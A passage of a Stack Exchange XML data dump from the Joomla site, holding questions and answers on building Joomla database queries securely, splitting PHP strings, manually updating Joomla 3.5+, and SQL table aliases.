suited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MAX()&lt;/code&gt; is an odd choice if the &lt;code&gt;FieldValue&lt;/code&gt; is non-numeric; perhaps this is not best for your query.  Maybe you can enlighten us as to why you are using &lt;code&gt;MAX()&lt;/code&gt;.  If the &lt;code&gt;FieldValue&lt;/code&gt; values are numeric, then I have concerns about your decision to name the &lt;code&gt;FieldName&lt;/code&gt; values &lt;code&gt;[word]_Name&lt;/code&gt; -- I mean, perhaps &lt;code&gt;[word]_id&lt;/code&gt; would be more appropriate.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-16T05:10:56.213" LastActivityDate="2018-09-16T05:10:56.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22888" PostTypeId="2" ParentId="22872" CreationDate="2018-05-26T01:05:34.630" Score="0" Body="&lt;p&gt;Based on this portion of code from &lt;a href=&quot;https://github.com/Sigsiu-NET/SobiPro/blob/master/Site/lib/base/config.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Sigsiu-NET/SobiPro/blob/master/Site/lib/base/config.php&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AmoYu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AmoYu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll recommend this possible solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (Sobi::My('id')) {&#xA;    $this-&amp;gt;userPermissionsQuery($conditions, 'spo.');&#xA;} else {&#xA;    $conditions = array_merge($conditions, array('spo.state' =&amp;gt; '1', '@VALID' =&amp;gt; $db-&amp;gt;valid('spo.validUntil', 'spo.validSince')));&#xA;}&#xA;$conditions = array_merge($conditions, array('!geo.fid' =&amp;gt; '887'));&#xA;&#xA;$data['entries'] = SPFactory::db()&#xA;         -&amp;gt;select(array('geo.sid', 'geo.latitude', 'geo.longitude'), $table, $conditions)&#xA;         -&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems your earlier-used numeric values are single-quote wrapped, but the sourced code snippet does not bother with quoting integer values -- so you may be able to leave the value unquoted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say all this with absolutely no personal experience with this product; I am merely joining you on this researching quest.  Do let us know how this pans out.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-05-26T01:05:34.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22889" PostTypeId="2" ParentId="22799" CreationDate="2018-05-26T02:06:02.263" Score="1" Body="&lt;p&gt;Your coding intent is to use &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; as your &quot;string delimiter&quot;.  For this type of task there are several functions that can lead you to the desired output.  The most direct attack will be to call a function which will split your string in half then you can simply reference the two pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a demonstration of two splitting functions (take note of what happens with the possible leading/trailing whitespace characters):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/QKoAY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this is your $this-&amp;gt;row-&amp;gt;product_description value for demonstration purposes:&#xA;$html = &amp;lt;&amp;lt;&amp;lt;HTML&#xA;Some text yatta yatta&#xA;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&#xA;Some more text blah blah&#xA;HTML;&#xA;&#xA;list($introtext, $description) = explode('&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;', $html, 2);&#xA;var_dump($introtext);&#xA;var_dump($description);&#xA;&#xA;echo &quot;\n---\n&quot;;&#xA;&#xA;var_dump(trim($introtext));  // this is tidier, with leading/trailing whitespace characters removed&#xA;var_dump(trim($description));  // this is tidier, with leading/trailing whitespace characters removed&#xA;&#xA;echo &quot;\n---\n&quot;;&#xA;&#xA;list($introtext, $description) = preg_split('~\s*&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;\s*~', $html, 2);&#xA;var_dump($introtext);  // no trim() call, no leading/trailing whitespace characters displayed&#xA;var_dump($description);  // no trim() call, no leading/trailing whitespace characters displayed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(22) &quot;Some text yatta yatta&#xA;&quot;&#xA;string(25) &quot;&#xA;Some more text blah blah&quot;&#xA;&#xA;---&#xA;string(21) &quot;Some text yatta yatta&quot;&#xA;string(24) &quot;Some more text blah blah&quot;&#xA;&#xA;---&#xA;string(21) &quot;Some text yatta yatta&quot;&#xA;string(24) &quot;Some more text blah blah&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best coding practices, with a particular stress on efficiency/micro-optimization, states that you should only use regex if there is a particular advantage in doing so.  If your delimiting string NEVER has whitespaces on either side, then you can use &lt;code&gt;explode()&lt;/code&gt; without any &lt;code&gt;trim()&lt;/code&gt; calls.  If your delimiting string MAY have spaces, tabs, or newlines then I will recommend &lt;code&gt;preg_split()&lt;/code&gt; because you receive 2 clean strings without any mopping up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your project, you would just use &lt;code&gt;echo&lt;/code&gt; on the resulting variables.  I used &lt;code&gt;var_dump()&lt;/code&gt; to expose the whitespaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use &lt;code&gt;list()&lt;/code&gt;.  You can store the result of &lt;code&gt;explode()&lt;/code&gt; as &lt;code&gt;$halves&lt;/code&gt; and write &lt;code&gt;echo $halves[0];&lt;/code&gt; for the introtext and &lt;code&gt;echo $halves[1];&lt;/code&gt; for the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. As I said, there are a few functions that will get your there.  You &lt;em&gt;could&lt;/em&gt; use &lt;code&gt;preg_match()&lt;/code&gt; with &lt;code&gt;~^(.*?)\s*&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;\s*(.*?)$~s&lt;/code&gt; (&lt;a href=&quot;https://regex101.com/r/dGYWSQ/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;) but this provides the unwanted fullstring match in its output.  For future development with regex pattern, I highly endorse regex101.com because it not only highlights your matches in real time, it also gives an itemized breakdown of how your pattern is interpreted by the regex engine and offers the &quot;step count&quot; as a loose measure of pattern efficiency.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-05-26T02:15:28.043" LastActivityDate="2018-05-26T02:15:28.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22890" PostTypeId="2" ParentId="22768" CreationDate="2018-05-26T03:28:51.033" Score="1" Body="&lt;p&gt;For the most part, your code is pretty right.  As commented, you are using &lt;code&gt;-&amp;gt;lookup()&lt;/code&gt; -- a method that is currently unheard of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you would only use the &lt;code&gt;LIKE&lt;/code&gt; operator if you were going to also use &lt;code&gt;_&lt;/code&gt; or &lt;code&gt;%&lt;/code&gt; wildcard symbols.  Because your &lt;code&gt;LIKE&lt;/code&gt; condition is matching the whole &lt;code&gt;$releaseartistid&lt;/code&gt; string, it seems more logical to replace &lt;code&gt;LIKE&lt;/code&gt; with &lt;code&gt;=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Single_Value_Result&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadResult()&lt;/a&gt; method is to be used when you are only expecting a single value in the resultset.  Your query is returning two columns of data so if you are expecting a single row of data, then you might prefer &lt;code&gt;loadRow()&lt;/code&gt;, &lt;code&gt;loadAssoc()&lt;/code&gt;, or &lt;code&gt;loadObject()&lt;/code&gt;.  If your resultset may contain more than one row of data, then refer to the &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Multi-Row_Results&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mult-Row Methods&lt;/a&gt; and determine which method is best suited for your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your &lt;code&gt;$releaseartistid&lt;/code&gt; value is an integer, you can avoid quote-wrapping the value and maintain security by casting the value as &lt;code&gt;(int)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of personal preference, I use &lt;code&gt;qn()&lt;/code&gt; versus &lt;code&gt;quoteName()&lt;/code&gt; purely for code brevity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $albumartistidquery = $db-&amp;gt;getQuery(true)&#xA;                             -&amp;gt;select($db-&amp;gt;qn(array('artist_id', 'artist_name')))&#xA;                             -&amp;gt;from($db-&amp;gt;qn('#__vinylvault_artists'))&#xA;                             -&amp;gt;where($db-&amp;gt;qn('artist_id') . ' = ' . (int)$releaseartistid);&#xA;    echo $albumartistidquery-&amp;gt;dump();    // never expose this on your live/public site&#xA;    $db-&amp;gt;setQuery($albumartistidquery);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($db-&amp;gt;loadAssoc());  // display the resultset&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot;, $e-&amp;gt;getMessage(), &quot;&amp;lt;/div&amp;gt;&quot;;  // never expose this on your live/public site&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if you DO want to use &lt;code&gt;LIKE&lt;/code&gt; with wildcards, I'll refer you to this post where I explain &lt;a href=&quot;https://joomla.stackexchange.com/a/22712/12352&quot;&gt;how to use &lt;code&gt;LIKE&lt;/code&gt; with proper Joomla escaping syntax to maintain query security&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-05-26T03:28:51.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22891" PostTypeId="1" CreationDate="2018-05-26T08:26:13.507" Score="3" ViewCount="7235" Body="&lt;p&gt;I have a Joomla installation, version 3.5+, but I cannot update, no matter what I tried. I tried to use the Joomla Update component, tried to upload the package, it just doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to extract the package on the root directory, and it broke my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I manually update it?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2022-03-06T05:30:42.200" Title="Manually update Joomla 3.5+ to latest version" Tags="|update|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22892" PostTypeId="2" ParentId="22891" CreationDate="2018-05-26T08:26:13.507" Score="4" Body="&lt;p&gt;Many posts around say that you shouldn't manually update Joomla 3.5+. And there are various reasons that this is good advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;you can&lt;/strong&gt; manually update Joomla 3.5+ to the latest version (currently 3.8.8).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Backup first&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, you need to have a good, working backup of your current site. &lt;strong&gt;Things may go wrong.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Login to administrator&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's important to have an active session in the site's administrator, while it is still working, or step 4 may not work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Extract the files&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can download the latest Joomla upgrade package, either from your Joomla Update component (&lt;code&gt;Components &amp;gt; Joomla Update&lt;/code&gt;), or from &lt;a href=&quot;https://downloads.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;downloads.joomla.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename your &lt;code&gt;libraries&lt;/code&gt; directory to &lt;code&gt;libraries-old&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the package you downloaded in the root directory of your site. Extract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open your front-end, and get an error, or a blank page, you can try to rename the &lt;code&gt;libraries&lt;/code&gt; directory again, to &lt;code&gt;libraries-broken&lt;/code&gt; and copy a &lt;code&gt;libraries&lt;/code&gt; directory directly from the latest version &lt;strong&gt;full package&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Fix Database&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have done well so far, your administrator should be broken. If not, hurray! Go to &lt;code&gt;Extensions &amp;gt; Manage &amp;gt; Database&lt;/code&gt; and click the &lt;code&gt;Fix&lt;/code&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your administrator &lt;em&gt;is&lt;/em&gt; broken, copy the following link after your site's administrator URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[your site]/administrator/index.php?option=com_installer&amp;amp;view=database&amp;amp;task=database.fix&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click that link, the database should be automatically fixed, and your administrator will be usable again. Click &lt;code&gt;Fix&lt;/code&gt; one more time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your site should now have the latest Joomla version.&#xA;If you still have problems with it, you may need to update third-party extensions, or similar.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2018-05-26T08:26:13.507" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22894" PostTypeId="1" AcceptedAnswerId="22895" CreationDate="2018-05-26T11:48:57.030" Score="2" ViewCount="2090" Body="&lt;p&gt;On &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/SQL_form_field_type&lt;/a&gt; it talks about using the SQL fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what &lt;code&gt;sql_select=&quot;e.*&quot;&lt;/code&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the star is a wildcard for everything.  I'm just not sure what the &lt;code&gt;e&lt;/code&gt; does (my first guess would be escape). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone fill me in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;example_group&quot; &#xA;    type=&quot;sql&quot; &#xA;    label=&quot;COM_EXAMPLE_GROUP&quot; &#xA;    sql_select=&quot;e.*&quot; &#xA;    sql_from=&quot;#__example AS e&quot; &#xA;    sql_group=&quot;name&quot; &#xA;    sql_order=&quot;e.id ASC&quot; &#xA;    key_field=&quot;id&quot;&#xA;    value_field=&quot;name&quot; &#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12352" LastEditDate="2018-05-28T07:59:10.790" LastActivityDate="2018-05-28T07:59:10.790" Title="What does sql_select=&quot;e.*&quot; do?" Tags="|form-fields-types|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22895" PostTypeId="2" ParentId="22894" CreationDate="2018-05-26T11:59:18.800" Score="5" Body="&lt;p&gt;I guess the example you are talking about is this:&#xA;&quot;SELECT e.* FROM #__example AS e GROUP BY name ORDER e.id ASC&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ths basically mean select everything from the table #__example (which has an alias name in the query of e) and group by name and order by id in ascending order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you didn't use AS e in the query you had to write the query as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * from #__example GROUP BY ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using AS e helps you save few characters to write when you do more complicated queries with a lot of joins etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this resource for more beginner information on mysql:&#xA;&lt;a href=&quot;https://www.thegeekstuff.com/2013/09/mysql-select-command/&quot; rel=&quot;noreferrer&quot;&gt;https://www.thegeekstuff.com/2013/09/mysql-select-command/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2018-05-26T11:59:18.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22896" PostTypeId="2" ParentId="22721" CreationDate="2018-05-26T12:52:52.670" Score="1" Body="&lt;p&gt;As a matter of good coding practice, I recommend that you DRY out your code (Don't Repeat Yourself) ...I'm talking &quot;super-dehydrate&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;div class=\&quot;user_avatar&quot; , ($userNameEffects == 1 ? &quot;_rotate avatar$column&quot; : &quot;&quot;) , &quot;\&quot; style=\&quot;background-image:url('&quot;;&#xA;    if ($useGravatar &amp;amp;&amp;amp; $item-&amp;gt;jux_gravatar) {&#xA;        echo $item-&amp;gt;jux_gravatar;&#xA;    } else {&#xA;        echo JUri::base() , implode('/', array_map('rawurlencode', explode('/', ($item-&amp;gt;jux_avatar ? $item-&amp;gt;jux_avatar : $juxAvatarDefault))));&#xA;    }&#xA;echo &quot;');\&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not only does this greatly reduce code bloat, it reduces the number of places a bug can reside.  Frankly, there was just so much redundancy and dot-concatenation that it's no wonder debugging was a chore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with this snippet (which you should use in code #1 and #2) we have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No variable declarations in an echo.&lt;/li&gt;&#xA;&lt;li&gt;No duplicated html elements or function calls.&lt;/li&gt;&#xA;&lt;li&gt;No dot concatenation.  I am not merely using commas as a micro-optimization, they send a clearer message to future code readers that data is being printed to the screen and not declared.&lt;/li&gt;&#xA;&lt;li&gt;No chance of a string being appended with a substring of itself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From this point, it should be much easier to investigate (if not already solved).  If the issue persists, we will like to see values for &lt;code&gt;JUri::base()&lt;/code&gt; and &lt;code&gt;$item-&amp;gt;jux_avatar&lt;/code&gt; individually printed to screen.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-05-26T12:52:52.670" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22897" PostTypeId="2" ParentId="22716" CreationDate="2018-05-26T14:20:10.970" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;get()&lt;/a&gt; parameters are: &lt;code&gt;[fieldname], [default value], [filter]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good coding practice dictates that you should always endeavor to minimize the total number of calls to the database.  Iterated UPDATE calls can be avoided here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bother to remove empty values and duplicates, but it won't matter with my recommended snippet, because UPDATES will only occur on &lt;code&gt;name&lt;/code&gt; matches and we are only sending one query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am calling &lt;code&gt;array_map()&lt;/code&gt; to apply &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; to each value -- thus correctly quoting all values in &lt;code&gt;$playernames&lt;/code&gt;.  *note the use of &lt;code&gt;use($db)&lt;/code&gt; -- this variable must be passed into the function scope to work.  After preparing the values, they are joined together using commas to create a single comma-separated string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$playernames = $jinput-&amp;gt;get('playername', [], 'array');&#xA;&#xA;$db = JFactory::getDBO();&#xA;$quoted_csv = implode(',', array_map(function($n)use($db){return $db-&amp;gt;q($n);}, $playernames));&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;update($db-&amp;gt;qn('my_players'))&#xA;                -&amp;gt;set($db-&amp;gt;qn('matches') . ' = ' . $db-&amp;gt;qn('matches') . ' + 1')&#xA;                -&amp;gt;where($db-&amp;gt;qn('name') . &quot; IN ($quoted_csv)&quot;);&#xA;    echo $query-&amp;gt;dump();    // of course, don't do this on your live/public site&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    echo &quot;&amp;lt;br&amp;gt;Updated &quot; , $db-&amp;gt;getAffectedRows() , &quot; row(s)&quot;;&#xA;} catch (Exception $e) {&#xA;    echo $e-&amp;gt;getMessage();  // of course, don't do this on your live/public site&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you passed a &lt;code&gt;$playernames&lt;/code&gt; array with this set of data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&quot;Lionel Messi&quot;, &quot;Cristiano Ronaldo&quot;, &quot;Neymar&quot;, &quot;David O'Leary&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the dumped query would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `my_players`&#xA;SET `matches` = `matches` + 1&#xA;WHERE `name` IN ('Lionel Messi', 'Cristiano Ronaldo', 'Neymar', 'David O\'Leary')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And assuming you had all four of those names in your database table, they would each have their &lt;code&gt;match&lt;/code&gt; value incremented by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I only tested this snippet up to the &lt;code&gt;dump()&lt;/code&gt; line.  I didn't bother mocking up a db table and testing the &lt;code&gt;affectedRows()&lt;/code&gt;.  Here is &lt;a href=&quot;http://sqlfiddle.com/#!9/807451b/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;an sqlfiddle demo&lt;/a&gt; if you want to see how the query works.)&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-06T12:51:16.890" LastActivityDate="2018-06-06T12:51:16.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22898" PostTypeId="2" ParentId="22631" CreationDate="2018-05-26T14:54:38.710" Score="12" Body="&lt;p&gt;&lt;strong&gt;First, the trouble&lt;/strong&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('status') .' IN '.$db-&amp;gt;quote(1,2,4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is not only that a syntax error is generated on the query, but also that &lt;a href=&quot;https://docs.joomla.org/API17:JDatabase::quote&quot; rel=&quot;noreferrer&quot;&gt;$db-&gt;quote()&lt;/a&gt; is treating &lt;code&gt;1&lt;/code&gt; as the &lt;code&gt;$text&lt;/code&gt; parameter and &lt;code&gt;2,4&lt;/code&gt; as the expected &lt;code&gt;bool&lt;/code&gt; value for the &lt;code&gt;$escape&lt;/code&gt; parameter.  (I code on PhpStorm and this fact is spelled out)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for your project, while the solution that you have posted removes the syntax fault in your query, the logic fault remains.  Effectively, the &lt;code&gt;2&lt;/code&gt; and &lt;code&gt;4&lt;/code&gt; values have been disregarded during all of your queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you call &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt;, you will see that your generated query looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT type,name,id,created_by,amount,created,cat_id,status&#xA;FROM `zyxwv_zoo_item`&#xA;WHERE `created_by` = '10' AND `status` IN ('1')&#xA;GROUP BY `created_by`&#xA;ORDER BY id DESC LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the same damaged value for &lt;code&gt;IN&lt;/code&gt; as in your original code, except it is parenthetically-wrapped now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second, a common misconception&lt;/strong&gt; is that you &lt;strong&gt;&lt;em&gt;NEED&lt;/em&gt;&lt;/strong&gt; to quote every possible data point in your Joomla sql queries.  This coding practice errs on the side of caution -- and isn't a horrid piece of advice because some Joomla developers are very new and don't know a secure/stable query from an insecure/instable one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is, if you are hardcoding integers into an array (or more generally, the data is not supplied by an untrustworthy source -- user input or an offsite resource -- and you are not incorporating values with monkeywrenching characters like quotes), then you have sufficient control over the stability of the query and there is no impact on security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the query posted above, it is ENTIRELY stable and secure to write it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(['type', 'name', 'id', 'created_by', 'amount', 'created', 'cat_id', 'status'])&#xA;    -&amp;gt;from(&quot;#__zoo_item&quot;)&#xA;    -&amp;gt;where([&quot;created_by = 10&quot;, &quot;status IN (1,2,4)&quot;])&#xA;    -&amp;gt;order(&quot;id DESC&quot;)&#xA;    -&amp;gt;setLimit(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are no &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/keywords.html&quot; rel=&quot;noreferrer&quot;&gt;MySQL Reserved Keywords&lt;/a&gt;, no variables, no quotes in strings, and it is assumed that the table prefix &lt;code&gt;#__&lt;/code&gt; is stable to begin with, so the query can be written with far less code-bloat, improved efficiency, and still be just as secure and stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*note, there were no AGGREGATE functions in the SELECT clause, so I removed the needless &lt;code&gt;group()&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For other researchers&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; quote-wrap the integers like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;status IN (&quot; . implode(',', $db-&amp;gt;q($array)) . &quot;)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although this technique will prove to protect your query from an injection attack, it does not sanitise the input values as integers.  This is more of a shortcut than an appropriate solution, because it would allow completely erroneous data types to come into the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an untrusted/dynamic array of string values (all of which are assumed to be integers), then you may write your own custom sanitizing process or you could cast each value as an integer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;status IN (&quot; . implode(',', array_map('intval', $array)) . &quot;)&quot;)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can use the ArrayHelper method in the core (which effectively does the same thing)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is expressed in the Joomla Documentation @ &lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Secure_arrays_of_integers&quot; rel=&quot;noreferrer&quot;&gt;Secure_arrays_of_integers section of https://docs.joomla.org/Secure_coding_guidelines&lt;/a&gt;**.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('status') . ' IN (' . implode(',', ArrayHelper::toInteger($array)) . ')')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the Joomla core is appropriately securing its own queries with &lt;code&gt;toInteger()&lt;/code&gt; in files like: &lt;code&gt;administrator/components/com_contact/models/contacts.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*note, depending on accessibility of your script, you may need to declare:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\Utilities\ArrayHelper;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For anyone who wants to generate a quoted/escaped comma-separated string for &lt;code&gt;IN&lt;/code&gt; (because the values are non-integers), then the syntax gets a bit longer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub-PHP7.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;fullname IN (&quot; . implode(',', array_map(function($n)use($db){return $db-&amp;gt;q($n);}, $array)) . &quot;)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP7.4+&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;fullname IN (&quot; . implode(',', array_map(fn($n) =&amp;gt; $db-&amp;gt;q($n), $array)) . 